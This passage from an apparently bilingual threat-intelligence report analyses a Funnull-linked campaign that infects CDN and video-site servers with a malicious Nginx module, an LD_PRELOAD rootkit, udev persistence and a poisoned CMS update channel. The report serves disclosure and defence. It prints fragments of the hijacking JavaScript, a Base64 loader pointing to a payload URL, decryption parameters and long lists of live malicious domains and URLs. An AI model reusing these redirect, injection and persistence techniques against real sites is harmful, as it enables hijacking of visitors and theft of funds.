For example, to query the current configuration, the original command get$$ is encrypted and placed in the conf field. After signature verification, the server returns the current configuration. This mechanism allows attackers to dynamically adjust redirect domains, malicious JS payload addresses, and other parameters.

③ Download Hijacking

When requests target APK, PLIST, or MOBILECONFIG resources, Badnginx2s performs download hijacking. It dynamically constructs domains using the format:https://%s.aqyaqua.com and returns corresponding malicious payloads.

Notably, aqyaqua.com serves only as a traffic gateway, forwarding different resource types to separate target addresses. Currently, only the APK payload remains active.

④ Page Tampering

Badnginx2s performs webpage tampering via the ngx_http_hello_body_filter function, including wallet replacement, video insertion, and malicious JS injection.

• Cryptocurrency Wallet Replacement

When Ethereum or TRON wallet addresses appear in webpage content, they are replaced with attacker-controlled addresses.

For example:

• Ethereum → 0xAA3Bd92445a2E1fE38C7693d77259BeD42a144c3

• TRON → TCMCY9ccNmQGfUNHTNtCByCof3VdQnip2b

This enables silent transaction hijacking without user awareness.

• Video Insertion

When targeting webpages related to HLS live streams, attackers modify M3U8 playlist files to insert custom video segments.

We have captured one instance where a 5-second segment named 广告_1.ts was inserted. Although seemingly an advertisement insertion, the potential risks are far greater. Attackers could replace content with pornography, violence, AI-generated political propaganda, fake news, or highly convincing deepfake videos. Such attacks could disrupt public opinion, manipulate ideology, and interfere with social order, representing a highly scalable and socially harmful attack vector.

• Malicious JS Injection

For HTML pages, Badnginx2s searches tags in priority order: <head>, </title>, <html>, <meta>, <script>, and injects malicious JavaScript at the first matching location.

The injected JS follows a fixed template concatenated with a Base64 string corresponding to the previously analyzed JS loader.

The hardcoded Base64 string in the sample:aHR0cHM6Ly9jZG5qcy5qc2RjbGl2ci5jb20vbnBtL2Jvb3RzdHJhcEA1LjMuMC9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcz92PTMuNy44LjI=，decodes to:https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。

0x5: libutilkeybd.so

libutilkeybd.so is a userland rootkit based on LD_PRELOAD technology, which we name Badhide2s. Its basic information is:

MD5: 85cdf5139f0a0a0f7e378bc2029d662b
MAGIC: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

The core objectives of Badhide2s are:

• Payload Trace Concealment

• Dynamic Injection of the Nginx Module

• Concealment By writing itself into /etc/ld.so.preload, it ensures automatic loading and filters outputs of common tools such as ss, netstat, top, htop, ps, ls, and lsof, hiding traces across three dimensions: files, processes, and network connections.This userland rootkit technique is common in Linux malware. While Badhide2s introduces no major technical innovations, it hides 25 IP addresses—relatively large in scale.
• Module Injection：By hooking __libc_start_main (the GNU C library entry function), it inspects processes at startup. When detecting Nginx, it modifies startup parameters to append:-g load_module /var/adm/{hash}nginx/module.so. thus stealthily loading the malicious module.

Notably, Badhide2s includes an environment variable trigger switch: if the environment variable RING04 exists and matches a specific hash value, all hiding functions are automatically disabled. This provides defenders with a rapid investigation method—after obtaining the hash, executing:export RING04H={hash} instantly disables concealment and reveals hidden processes, files, and network connections.

0x6: udev rule & script

Using udev rules for persistence is uncommon in Linux threats. Public cases include sedexp and UNC3886. udev is Linux’s device management system responsible for dynamically managing /dev device nodes and handling hotplug events. Rules are typically located in:

• /etc/udev/rules.d/

• /lib/udev/rules.d/

A typical rule:

ACTION=="add", KERNEL=="device", RUN+="/path/to/script"

In this campaign, a rule named 99-{hash}.rules is added under /etc/udev/rules.d. When any non-loopback network interface is recognized (add event), it triggers systemd-run to stealthily execute: /var/adm/{hash}/udev/udev.sh 。

The udev.sh script simply launches the previously analyzed Badredis2s backdoor (ring04h_office_bin) and an unknown component (ring04h_agent_bin).

Additional Intelligence

Within download_init, a main_pre function cleans up traces strongly associated with RingH23. The cleanup array contains 17 strings, including libcext.so.2 and /var/log/cross/auto-colar, which are clearly related to the autocolor backdoor disclosed by Palo Alto Networks on February 24, 2025.

Additionally, /var/log/jroqq is a highly distinctive string. Using it as a clue, we identified a Golang-based backdoor named auto-color.

This backdoor enforces single-instance execution via a file lock /var/log/jroqq/auto.l, though it does not create this file itself—indicating coordination with other components. Internally, we refer to it as V2deck.

Its primary function is to execute C2-issued commands and return results. The sample embeds 10 C2 addresses protected by XOR + Base64 (XOR key: poop).

Observed commands indicate V2deck collects information about Nginx and FikkerCDN processes, aligning with RingH23 targets:

ps -ef | grep Fikker | grep -v grep | wc -l

ss -antp | grep nginx |grep ESTAB | awk {'print $5'} | awk -F\: {'print $1'} | sort | uniq | wc -l

Although we currently associate V2deck with RingH23 at medium confidence, its extremely low detection rate and C2 visibility warrant public disclosure alongside this report.

Conclusion

This summarizes most of the intelligence currently available regarding Funnull’s new cybercriminal campaign.

We strongly recommend that network administrators and website owners conduct immediate self-inspections and follow these mitigation guidelines:

① For RingH23

Use ldd to check command dependencies, focusing on the malicious module:/var/adm/{uuid}/kernel/libutilkeybd.so。
If found:

• Set environment variable RING04H={uuid} to disable rootkit protection.

• Remove malicious artifacts:

  • Related entries in /etc/ld.preload.conf

  • /etc/udev/99-{uuid}.rules

  • All files under /var/adm/{uuid}

② For maccmsp[.]la

It is not recommended to continue using maccms[.]la.

If migration is not possible:

• Use grep xxSJRox to check template JS injection.

• Use grep gzuncompress to check for suspicious hidden PHP payloads.

• Remove:

  • /application/extra/active.php

  • /application/admin/controller/Update.php

  • Modify the AJAX upgrade domain in: /application/admin/view_new/index/index.html

Such cybercriminal operations are profit-driven and persistent. Only through cross-industry collaboration and intelligence sharing can they be effectively contained.

We invite security vendors and technical institutions to collaborate with us in intelligence sharing and coordinated response efforts. If you are interested in our research or possess relevant insights, feel free to contact us via the X platform.

IOC

Badredis2s C2

ntp[.]asia
ntporg[.]com
sbindns[.]com
plusedns[.]com
mirrors163[.]com
linuxdistro[.]net
debianhacks[.]net
fedoraforums[.]net
ubuntucommands[.]com

Badredis2s C2 Config URL

https://3snzh72om4.apifox[.]cn
https://node.blob.core.windows[.]net/update/a1
https://node.blob.core.windows[.]net/update/a2
https://node.blob.core.windows[.]net/update/s7
https://node.blob.core.windows[.]net/update/s10
https://node.blob.core.windows[.]net/update/s11
https://node.blob.core.windows[.]net/update/s14
https://node.blob.core.windows[.]net/update/h2.debianhacks.net/online
https://node.blob.core.windows[.]net/update/j6.linuxdistro.net/online

https://az-blob.110[.]nz/update/s1
https://az-blob.110[.]nz/update/s2
https://az-blob.110[.]nz/update/s3
https://az-blob.110[.]nz/update/s4
https://az-blob.110[.]nz/update/s7
https://az-blob.110[.]nz/update/s9

Badnginx2s Related

gadlkd1[.]com

apk.aqyaqua[.]com
plist.aqyaqua.]com
mobileconfig.aqyaqua[.]com

https://dowoxox.gfewr[.]com/B9.apk
https://plist.ztyfv[.]com/d/4F48MCiqtsjDCS7QOWs3KU.plist
https://download.joymeet[.]top/app/2PG/00056321.mobileconfig

V2deck C2

bobolickp92[.]cc
realfake909[.]net
firelategg[.]net
lucycally[.]me
moxymodiy[.]cc
9688hopeeasy[.]cc
flysky55[.]me
goyppg06[.]com
tutupytua[.]com
zybbzlast[.]com

IPs & Domains in Badhide2s

54.46.13.139
8.139.6.156
18.167.103.220
18.163.102.174
16.163.50.192
43.199.147.209
13.251.54.69
43.199.133.158
18.166.58.136
16.162.25.97
52.221.206.136
43.198.221.151
43.198.137.198
43.198.73.3
16.163.58.55
20.6.129.16
20.205.25.192
35.75.5.45
52.195.191.106
52.195.7.27
52.196.178.89
52.194.222.58
13.231.108.219
13.114.119.159
3.112.67.113
54.46.1.220

js.mirrors163[.]com
cn.js.mirrors163[.]com
update.ntporg[.]com
js.ntp[.]asia
js.ntporg[.]com
s10.ntporg[.]com
s11.ntporg[.]com
client.110[.]nz
js2.ntporg[.]com
a.plusedns[.]com
b.plusedns[.]com
js.sbindns[.]com

JS HOST

jquecy[.]com
jsdclivr[.]com
jsdelivr[.]vip
bytedauce[.]com
bdustatic[.]com
clondflare[.]com
macoms[.]la
ailyunoss[.]com
ailyun-oss[.]com

JS PAYLOAD URL

https:]//code.jquecy[.]com/jquery.min-3.6.8.js
https://cdnjs.clondflare[.]com/jquery.min-3.7.8.1.js

https:]//cdnjs.jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2
https:]//static.bytedauce[.]com/ajax/libs/bootstrap/5.3.3/css/bootstrap-grid.min.css

https:]//union.macoms[.]la/jquery.min-4.0.2.js
https:]//cdn.jsdelivr[.]vip/jquery.min-3.7.0.js
https:]//api.bdustatic[.]com/jquery.min-4.0.12.js

Downloader URL

https://az-blob.110[.]nz/update/init
http://download.zhw[.]sh/wK4QYDIRFV/init
http://download.zhw[.]sh/9aE5EFdJoS/init

https://bucket.service.generate.110[.]nz/udev.sh

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/module.so

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/udev.rules

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/kernel.so

VIDEO AD URL

https://oss2025-6f57.obs.ap-southeast-1.myhuaweicloud[.]com/%E5%B9%BF%E5%91%8A_1.ts

Sample MD5

663706d4f3948417d05c11bbfa6cdbc9 *init
65ac2839ab2790b6df8e80022982a2c0 *init
5d6c33bf931699805206b00594de5e71 *init

85cdf5139f0a0a0f7e378bc2029d662b *kernel.so
3bff298be46f8817862bce2ac0be3176 *kernel.so
6acb8bbcad3b8403f4567412cc6aa144 *kernel.so
946606977dd177347122867750244ae2 *kernel.so
92c630062f0fe207c628b95fade34b96 *kernel.so
563f5e605ebf1db8065fd41799e71bf9 *module.so
112e2eb2a57129ef175c3f64bccbac04 *module.so
cd36ec10f71b89dc259eb8825e668ae3 *module.so
6e14853a6ad5e752a516290bf586d700 *udev.rule
b5dfe88131fb1b3622a487df96be84e1 *udev.sh
79c492bfd8a35039249bacc6a31d7122 *ring04h_office_bin
2e7a42c9be6fc3840df867cb19c7afa5 *ring04h_office_bin
a688afd342cee9feb74c61503fb0b895 *ring04h_office_bin
85f3d29a8fd59e00fec83743664fb2b5 *ring04h_office_bin
fef497841554fff318b740dff7df3a49 *ring04h_office_bin
dfd1fbf0a98e0984da9516311ccc1f05 *ring04h_office_bin
da594309691161f6e999984c26e1a10f *ring04h_office_bin
18b699375c76328b433145bdac02ec49 *ring04h_office_bin
d3b0b6496747ee77ab15e5f5d9583a67 *ring04h_office_bin

b5a5d93cfc443ecbd3b52cfe485b738c *shell.plugin
296318b90bc9d01ab045da042b0ecb21 *filesearch.plugin
b8239ce64c07e39ae7bed9ae8f5f3d2f *filemanager.plugin
51830656b0825b22703e4fcf31aec84c *filetransport.plugin
22f0d58bc482d413a5cc8922c7f79378 *filedownloader.plugin

b06b9f13505eb49d6b3f4bddd64b12ce *active.php
eb03db7ac9f10af66a1e2b16185fcadc *addons.php

Cyberchef

https://gchq.github.io/CyberChef/#recipe=From_Hexdump()AES_Decrypt(%7B'option':'Latin1','string':'2B990667D0E087AE'%7D,%7B'option':'Latin1','string':'27FAD11C481BD789'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Drop_bytes(0,4,false)Zlib_Inflate(0,0,'Adaptive',false,false)To_Hexdump(16,false,false,false)&input=MDAwMDAwMDAgIDBlIDFkIDg1IDU0IDI4IDEyIGZiIGYyICA5YSAzYyBkZCAwMiA2YyA4MyBlZCBmOSAgIC4uLlQoLi4uIC48Li5sLi4uDQowMDAwMDAxMCAgODcgM2QgMGQgNDYgMWMgOTQgOWQgNDYgIDI2IDU1IDVjIDJhIDlhIDcyIDFjIGFhICAgLj0uRi4uLkYgJlVcKi5yLi4&ieol=CRLF

Funnull（全称 Funnull Technology Inc.，中文又称方能CDN或方能科技）是一家注册在菲律宾的公司，表面上看是一家提供CDN（内容分发网络）服务的公司，但实际上它是东南亚网络黑产链条中非常重要的基础设施提供商，专为“杀猪盘”网络诈骗提供一站式服务，被美国政府明确定性为重大网络犯罪支持者，在中国黑灰产圈内也长期被视为“诈骗专用云”。2025年5月29日美国财政部外国资产控制办公室（OFAC）正式宣布对Funnull黑产团伙进行制裁，之后 Funnull 的公开运营基本陷于停滞。然而网络黑产链条的往往有极强的韧性，Funnull这样的老牌专业团队更是如此，“被打击、潜伏、再度回归”几乎成为其生存常态，我们的最新研究表明Funnull已换皮复活。

时间回到2025年7月9日，Xlab大网威胁感知系统监测到域名download.zhw.sh正在传播一个VT 0 检测的ELF文件。首先引起注意的是访问hxxp://zhw.]sh显示的图片，让我们直呼真是胆大包天。更值得警惕的是，样本中涉及的域名“client.110.nz”在我们的PDNS系统中显示解析次数高达16亿次，种种异常迹象表明，这似乎是一条“大鱼”。

在激动的心情中，我们开始了分析之旅，很快就有了初步结论：这个ELF文件是一个下载器，它会向远程服务器请求udev.sh, udev.rules, module.so, libutilkeybd.so, ring04h_office_bin等多个载荷，但由于缺乏有效的会话令牌（session token）与群组密钥（group key），我们未能通过服务器的校验机制，没有捕获这些后续样本。然而，根据这些Payload的目的——如libutilkeybd.so用于通过 Preload 机制实现劫持，udev.rules用于通过Udev机制实现持久化——我们高度确信，这个下载器是一个恶意软件。

为查明这个下载器的真实意图，我们以文件名为线索进行主动狩猎，迅速锁定关键组件：module.so 与 libutilkeybd.so；一个月之后，我们进一步发现了到首个 ring04h_office_bin 样本。这些样本的相继捕获，逐步拼凑出一个攻击链条：攻击者首先入侵GoEdge管理节点，并植入感染模块 infection_init。该模块随后通过SSH远程命令，强制所有边缘节点下载并执行 downloader_init。download_init，即是上文所说的下载器，它会在受控节点上部署以下一系列恶意载荷，很明显这是一个分工非常明确的攻击套件，基于样本中反复出现的字串RING04H,以及office_bin模块使用xor 23解密配置文件，这个攻击套件被我们命名为RingH23，它包含Badnginx2s，Badredis2s，Badhide2s等不同目的组件。

• udev.sh & udev.rules：非常少见的Udev持久化脚本&规则

• module.so：非常少见的Nginx恶意模块，负责下载劫持，数字钱包替换，以及向网页注入恶意JavaScript代码，被命名为Badnginx2s

• ring04h_office_bin：后门模块，用于维持对节点的长期持久化访问，C2保存在Azure Blob Storage，被命名为Badredis2s

• libutilkeybd.so：用户态Rootkit模块，用于隐藏Payload的活动痕迹,被命名为Badhide2s

此次攻击活动的核心目的之一，是在向网页中植入恶意JavaScript代码，从而将访问者劫持并跳转至博彩、色情等非法网站。这些恶意脚本托管于数个公共静态资源库CDN的高仿域名。

• code.jquecy[.]com，仿冒jquery.com
• cdn.jsdclivr[.]com，仿冒jsdelivr.com
• cdnjs.clondflare[.]com，仿冒cloudflare.com
• static.bytedauce[.]com，仿冒bytedance.com

这批域名于2025年创建，从我们的数据视野来看，它们的影响范围已经非常广泛。以clondflare为例，访问峰值在2025年8月30日，当天去重客户端高达34万。需要强调的是，我们数据源在国内约占5%的市场份额，按照这个比列推算，clondflare当天在全国范围内可能被680万用户主观或被动访问，其影响规模令人咂舌。

很明显，此次攻击活动背后的团伙绝非普通黑客，我们以恶意JavaScript代码为线索展开溯源分析，惊奇地发现：本次活动使用的JS代码与2024年2月Polyfill.io供应链攻击以及同年5月GoEdge遭官方投毒俩次攻击事件中所使用的恶意脚本如出一辙。这些攻击的黑手正是臭名昭著的Funnull黑产组织。

随着调查进一步深入，我们发现Funnull针对开源供应链及基础设施方面的攻击活动并没有停止。除了上述知名CDN服务，该组织还将黑手伸向了影视内容管理系统领域——我们确认苹果CMS（maccms.la版）使用相同的JS脚本进行隐蔽的投毒攻击。

以下为本次研究的核心发现：

1. Funnull换马甲回归，而且全面升级。

Funnull又回来了，它是2024年Polyfill.io供应链攻击，是此前BootCDN、Bootcss、Staticfile等多起CDN投毒事件的幕后黑手，是被美国财政部点名协助"杀猪盘"骗局、受害者报告损失超2亿美元的那个黑产组织。他们的之前的主要手法是寄生在已有的公共CDN服务上投毒；而现在已进化到自主开发完整的服务器端攻击套件（RingH23），主动入侵CDN节点，控制力和技术深度都上了一个台阶。

2. 两条独立的供应链感染通道。

路径一：苹果CMS（maccms.la）官方升级通道投毒。 苹果CMS是一个GitHub上积累2,700+星标的开源影视建站系统，在中国中小型影视站长中拥有极高普及率。现在看来它已落入了Funnull黑产组织之手，现已有明确证据表明，maccms.la官方通过升级通道下发恶意PHP后门。投毒设计非常狡猾——用户安装后首次登录管理后台时触发，payload设有3分钟时效窗口，下载成功之后或过期即无法访问，有效规避事后取证。

路径二：GoEdge管理节点 → SSH横向扩散 → RingH23套件部署。 攻击者入侵GoEdge CDN管理节点，植入感染模块，随后通过SSH远程命令将攻击套件RingH23强制部署到所有边缘节点。该套件包含Badredis2s, Badnginx2s, Badhide2s等多个专业化组件，并且使用非常少见的UDEV机制实现持久化。这些组件设计精良，分工极其明确，不是脚本小子的随手之作，而是一个成熟的工程化黑产攻击套件。

3. 影响百万级用户，受害者陷入"清理又感染"的死循环。

从我们的监测数据来看：单日去重客户端峰值达58万（而我们的数据源仅占国内约5%的市场份额），保守推算全国日均超过百万用户被劫持至博彩、色情等非法站点。10,748个IP被确认感染，绝大多数为影视站点。Badredis2s的C2域名排进Tranco全球网站排名前50万，活跃程度极高。更棘手的是，大量受害站长陷入反复感染的困境。原因在于感染是三层结构，只清理表面等于只擦掉了症状，必须三层全部清除，否则必定复发。

• 第一层（表面）：被篡改的JS文件。 这是多数人发现的症状，清除后短暂恢复。

• 第二层（中间）：PHP恶意载荷。 恶意PHP载荷在thinkphp框架中注册钩子，每一个被渲染的页面都会被自动重新感染，不清除PHP后门，JS永远清不干净。

• 第三层（根源）：官方升级通道 / 系统级持久化。 对maccms.la用户，每次检查更新都可能会重新下发恶意代码；对RingH23受害者，udev规则在重启后自动恢复后门，Rootkit隐藏一切痕迹。

4. CDN1.AI极度可疑，很可能是FUNNULL的新马甲基础设施。

Funnull用于托管恶意JS脚本的域名近期集体迁移至CDN1.AI。CDN1于2025年6月才创建，却在极短时间内被FUNNULL全面采用。然而自身运维水平粗糙——官方网站证书过期都未处理，明显不符合一个正规CDN服务商的表现。综合其快速获得信任的异常模式与基础设施高度同步的迁移时机，我们推测CDN1.AI并非真正的第三方CDN，而是FUNNULL为规避追踪而启用的新马甲，这意味着该团伙正在主动构建新的基础设施层。

5. 黑产运用精细化运营逻辑，针对性极强。

攻击主要针对手机用户，设有地区限制（目前仅中国时区触发）和分时段概率机制。例如凌晨4-7点的劫持概率高达80%，利用的正是用户深夜疲惫、自控力下降的心理窗口。

更值得警惕的是攻击者的用户画像策略：根据页面内容关键词判断访客类型，实施差异化导流，这套用户画像与分时段概率投放的运营逻辑，堪比正规公司的精细化运营水平。

• 对访问正常内容的用户（"正经流量"）：优先推送入门级色情和擦边内容，降低心理门槛，逐步引导转化。
• 对已在访问灰色内容的用户（"高价值流量"）：直接对接上游赌博平台、高客单价色情站点，加速沉迷，最大化用户产出。

百万级别的影响规模

基于现有监测数据，虽然难以精确量化此次黑产活动的总体感染规模，但通过被感染的网站，C2排名，以及恶意JS被访问的趋势三个维度的观测，已能充分印证其广泛的影响。

0x1: 探测被感染的网站

植入到网页中的JS代码有非常强的特征，如“function xxSJRox”，“MfXKwV”，“ptbnNbK”等字串，通过资产测绘，我们发现10748个IP命中这一特征，它们中的大多数是影视站点。值得注意的是，恶意代码是动态注入，很多实际已被感染的网站可能不会被测绘发现。

0x2: C2的排名

Tranco 排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告等多个数据源，是学术界广泛使用的工具。目前，Badredis2s的大部分C2都排在全球网站排名50万左右，活跃程度非常高。

0x3: 恶意JS被访问的趋势

我们在溯源过程中又发现了3个新的恶意JS托管站点：bdustatic[.]com，jsdelivr[.]vip以及macoms[.]la。从统计数据来看，单日去重后的客户端峰值为58万，当前数值略有下降，保持在20万左右。 考虑到数据来源的市场占有率，保守评估每天超过百万用户受这些恶意JS背后非法站点的影响。

死灰复燃的FUNNULL黑产

0x1: 归属于FUNNULL的原因

Funnull作为东南亚黑产生态中的上游基础设施提供商，主要通过从 AWS、Azure 等云厂商批量采购干净 IP 地址，再结合 DGA 生成大量域名后“洗白”转售给下游诈骗团伙，从而支撑杀猪盘、假投资平台等诈骗活动。然而，在polyfill.io、bootcdn.net、staticfile.org等多次CDN投毒事件中，Funnull并非仅充当被动供应商，而是亲自下场操作，直接收购域名并在植入恶意JS代码。这些“自己亲自下场干黑活”的事件，强烈表明投毒所使用的脚本完全隶属于Funnull自身。因为这些脚本直接承担核心的恶意跳转与流量劫持功能，只有牢牢掌握控制权，才能确保黑产链条的高效运转，最大化分成收益，并避免下游团伙随意修改导致的效率损失或分成争议。

根据这一技术推论，我们认为JavaScript脚本的特征可作为攻击归属判定的关键依据。Funnull的脚本可分为JS Loader（加载器）和JS Redirector（重定向器）两大类，它们共同构成了一个流量重定向框架。其中，JS Load器的功能是动态加载伪装成jQuery库的Redirector有效载荷；而Redirector则负责将符合预设条件的用户请求，劫持并转向赌博、色情等非法站点

① JS Loader相似性

Loader核心逻辑是通过环境检测和反调试手段，在特定设备上隐蔽加载外部资源。代码使用Base64隐藏真实URL，通过字符串拼接动态创建script标签加载伪装的Query库，但仅针对非Mac/Windows平台（移动设备/Linux）执行。本次活动捕获的Loader代码与2023年BootCDN投毒事件中所用代码完全一致，包括环境判断逻辑、解码函数结构、参数命名等。

另外值得一提的是，macoms.la这个域名同时出现在了另外两起攻击事件中：Polyfill供应链攻击与GoEdge官方投毒。前者已被多家安全厂商和社区公开分析并判定为Funnull主导；后者虽暂无完整公开分析报告，但基于域名复用、流量劫持模式的一致性让我们有充分理由相信GoEdge投毒事件同样出自Funnull团伙之手。

② JS Redirector相似性

Redirector的核心逻辑是通过多重检测机制（设备类型、页面关键词、时区、访问时段）在不同时间段以不同的概率（如：0-8时劫持概率60%-80%，其他时间50%）将用户重定向到特定的色情，博彩，诈骗等推广，实现流量变现。

Funnull的Redirector有非常明显的风格，通常会判断设备类型来，一般只对手机或平板这类移动端下手，PC流量价值低、转化率差且容易被管理员/安全软件发现。

  var ismobile = navigator.userAgent.match(
  /(phone|pad|pod|iPhone|iPod|ios|iPad
  |Android|Mobile|BlackBerry|IEMobile|
  MQQBrowser|JUC|Fennec|wOSBrowser|
  BrowserNG|WebOS|Symbian|Windows Phone)
  /i);
  
    function isPc() {
    try {
      var _0x32df76 = navigator.platform == "Win32" || 
      navigator.platform == "Windows";
      var _0x508d68 = navigator.platform == "Mac68K" || 
      navigator.platform == "MacPPC" || 
      navigator.platform == "Macintosh" || 
      navigator.platform == "MacIntel";
      if (_0x508d68 || _0x32df76) {
        return true;
      } else {
        return false;
      }
    } catch (_0x2decf9) {
      return false;
    }
  }

再根据页面内容对用户进行初步画像，评估其潜在商业价值，并实施差异化导流策略，简单来说，正经用户，引诱看点色情，思想滑坡好下手；不太正经的用户，加大剂量，榨干价值。

正经用户（低价值流量）

• 画像：当前访问的是主流正常内容页面（无明显灰黑关键词）。这类用户初始警惕性较高、付费意愿较低、转化周期较长。

• 策略：优先推送入门级色情、擦边或轻度福利内容，通过降低心理门槛、激发好奇心，逐步引导其向更深度的消费场景，最终实现转化。

非正经用户（高价值流量）

• 画像：当前访问的是色情、博彩、六合彩、福利导航、成人直播等（包含大量对应关键词）。这类用户已有明确需求、付费意愿较强、对平台实力与内容刺激度敏感、转化周期短。

• 策略：直接匹配更上游、更专业、资金更雄厚、玩法更刺激的平台，提供高品质内容与更高回报机制，加速用户沉迷并最大化单用户产出（注册、首存、持续消费等）。

策略确定后，再根据当前时间段动态调整跳转概率，充分利用用户在不同时段的心理状态与行为特征，实现更高效的流量变现：

• 00:00–01:59，跳转概率 60%。用户刚进入深夜，警惕性开始下降，但多数人尚未完全放松，适合适度放量。
• 02:00–03:59，跳转概率 70%。深度夜间阶段，用户决策力与自控力显著减弱，冲动消费意愿上升，是破防与转化的黄金窗口。
• 04:00–06:59：跳转概率 80%。凌晨高峰期，用户疲惫、孤独感强、警惕性最低，对色情/博彩内容的接受度与付费冲动达到峰值，此时投放强度最大，转化效率最高。
• 07:00–07:59：跳转概率回落至 60%。清晨时段，用户开始清醒，警惕性回升，投放强度适当收敛，避免干扰正常作息导致举报或流失。
• 其他时间（白天 08:00–23:59）：基础概率 50%。白天用户活跃度高但警惕性强，保持中等概率投放。

Redirector还有时区检测机制，只有的特定地区才会触发跳转，从捕获的样本来看，目前只针对中国。

    var _0x326fff = _0x1ec843.getHours();
    var _0x16beb8 = Intl.DateTimeFormat().resolvedOptions().timeZone;
    const _0x43a7e6 = [ "Asia/Shanghai", 
                        "Asia/Chongqing", 
                        "Asia/Harbin", 
                        "Asia/Urumqi", 
                        "Asia/Kashgar", 
                        "Asia/Beijing"];
    if (_0x43a7e6.includes(_0x16beb8)) { ... }
    

当上面的条件都满足时，还有一道关卡，Funnull设计了一道远程控制开关：通过动态加载外部JavaScript文件来设置usercache变量，只有该变量为true时才允许执行跳转，从而实现攻击行为的远程操控。

这些行为是Funnull Redirector类脚本的典型特征。本次事件捕获的 JS 脚本在整体编码风格、混淆技术及核心逻辑设计上，与之前数次投毒活动中的样本几乎完全一致，呈现出明显的家族同源性，以GoEdge事件的脚本，以及本次RingH23攻击套件投递的样本为例，俩者近似的风格一目了然。

另一个更为直接的证据是，在本次活动中充当远程控制开关角色的ailyunoss.com（仿冒阿里云）于2025年4月24日被注册，它的DNS解析历史清晰地显示，在2025年5月22日至7月9日期间，该域名使用了funnull系列CDN服务。这一发现直接证明了RingH23攻击套件以及maccms.la的投毒攻击，与FUNNULL黑产团伙存在明确关联。

0x2: 可疑的cdn1.ai

Funnull用于托管的恶意javascript脚本的域名目前正在使用基于cdn1.ai基础设施的CDN服务。cdn1.ai于2025年6月18日创建，官方网站宣称它是全球内容分发网络，提供高速、稳定的内容加速服务，覆盖200+节点，提升网站访问速度95%以上。

我们根据CNAME记录对JS恶意域名进行分类，历史活动中出现的域名可以很明显看出从funnull cdn到cdn1.ai的转移过程。

将本次活动涉及域名与历史攻击活动中使用的域名进行横向对比分析，可以发现这些域名都在相近的时间窗口（集中在7月期间）完成了向cdn1.ai的迁移操作。

这不禁令人产生一个疑问：作为一家新兴的CDN服务商，CDN1.AI是如何在如此短的时间内，赢得像Funnull这类成熟黑产组织信任的？对于日进斗金的Funnull而言，基础设施的选择必定慎之又慎，对稳定性有比较高的要求。然而，CDN1.AI本身的表现却显得并不是那么可靠，它的技术架构源自于开源项目GoEdge，直接用于正规的商业环境先天就力有不逮；再者运营也不是很专业，例如其官方网站的SSL证书过期都未能及时更新，这显然不符合一家稳健服务商应有的表现。

我们目前尚未发现能够直接证明CDN1.AI与Funnull团伙存在归属关系的证据，但综合其快速获得信任的异常模式、自身运维的草率表现，以及与基础设施高度同步的迁移时机，现做一技术推测：CDN1.AI很可能并非真正的第三方CDN，而是Funnull团伙为规避追踪而启用的新马甲。

maccms.la官方投毒技术细节

苹果CMS是一套基于PHP和MySQL开发、免费开源的专业影视内容管理系统，主要用于快速搭建与管理各类视频站点，如电影站、电视剧站或动漫资源站等。凭借其便捷的采集功能与灵活的模板系统，该系统自发布以来一直深受中小型影视站长的欢迎，广泛应用于个人及小规模商业视频平台建设中。最初官方维护的版本（原官网为maccms.com）已于2019年前后停止更新。此后，一个被称为“maccms.la”的社区版本开始提供更新与支持，目前在GitHub上的相关项目已积累超过2700个星标，体现出较为活跃的社区生态与用户认可度。

然而，正是这样一个被广泛使用的项目，却已卷入一场供应链安全事件。我们已掌握明确证据表明，maccms.la 的官方升级通道被用于下发恶意 PHP 后门代码，该后门在服务器侧执行后，会进一步植入恶意 JavaScript 脚本，对前端页面实施劫持与流量操控。恶意脚本的技术特征与 FUNNULL团伙在多起历史攻击活动中使用的手法高度一致，印证了业内近期流传的判断：maccms.la 已实际被 FUNNULL 团伙控制，或已被其收购并作为攻击基础设施的一部分持续运营。

0x1: 升级通道投毒

maccms github 源码application\admin\view_new\index\index.html中有一段ajax代码将maccms，php，thinkphp的版本信息上报给远程服务器(update.maccms.la)，检查是否需要升级。

一切看似正常，但是在实际中我们发现MACCMS完成安装后第一次登录管理后台时，远程服务器会发下发恶意JS代码，用于窃取敏感数据，下载PHP恶意载荷。

• post：向远程服务器上报Cookie，管理后台地址等敏感信息
• iframe：通过的隐蔽iframe触发MACCMS的下载机制，拉取恶意载荷

当网页中的iframe加载其src属性指向的地址ADMIN_PATH/admin/update/step1.html?file=laupdc00ecc82ab4b6d060da64d886e97b2c4时，浏览器会向该URL发起请求。该请求经由后端路由解析，最终会调用位于application/admin/controller/Update.php中的step1()函数。该函数的核心功能是：接收file参数，为其追加.zip扩展名并结合时间戳生成一个完整的资源标识，随后程序会基于这个标识向指定的远程服务器发起请求，尝试获取对应的资源文件。

从实际流量分析可见，laupdc00ecc82ab4b6d060da64d886e97b2c4.zip这一资源名可拆分为"laupd"前缀和一段32位MD5字符串，构成典型的伪装命名。服务器响应头中Date与Last-Modified时间戳完全一致，且设置了仅3分钟的有效期（max-age=180），表明该文件并非预先存储，而是针对请求即时动态生成的恶意payload。这种短时效设计使文件在下载窗口过后即无法访问（返回"access denied"），有效规避了事后取证。

0x2: PHP恶意载荷

laupdc00ecc82ab4b6d060da64d886e97b2c4.zip在解压后会释放 application/extra/active.php 文件。此外，我们在野还发现了另一个恶意 PHP 载荷 addons.php。

这两个PHP恶意载荷都没有使用代码混淆技术，分析难度较低。它们的核心功能都是向网站植入恶意JavaScript代码，但采用了不同的攻击策略实现网页篡改，主要区别在于注入方式和目标对象：

• addons.php采用动态注入方式，在页面渲染过程中将恶意JS代码插入到HTML文件的</html>标签之前。
